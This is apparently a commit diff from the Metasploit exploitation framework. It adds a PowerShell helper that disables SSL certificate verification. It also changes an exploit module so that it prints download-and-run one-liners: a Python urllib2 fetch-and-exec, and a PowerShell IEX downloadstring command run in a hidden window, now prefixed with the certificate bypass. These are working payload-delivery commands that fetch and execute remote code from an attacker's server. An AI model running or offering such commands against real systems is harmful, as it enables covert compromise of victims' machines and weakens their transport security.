Move it to a common method
parent
36404eb67f
commit
b41e259252
|
@ -64,6 +64,15 @@ module Powershell
|
|||
def self.get_last_login(user)
|
||||
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
|
||||
#
|
||||
# Disable SSL Certificate verification
|
||||
#
|
||||
# @return [String] Powershell code to disable SSL verification
|
||||
# checks.
|
||||
def self.ignore_ssl_certificate
|
||||
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -88,7 +88,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'Python'
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
when 'PSH'
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
if ssl
|
||||
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
|
||||
end
|
||||
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
print_line generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
|
|
Loading…
Reference in New Issue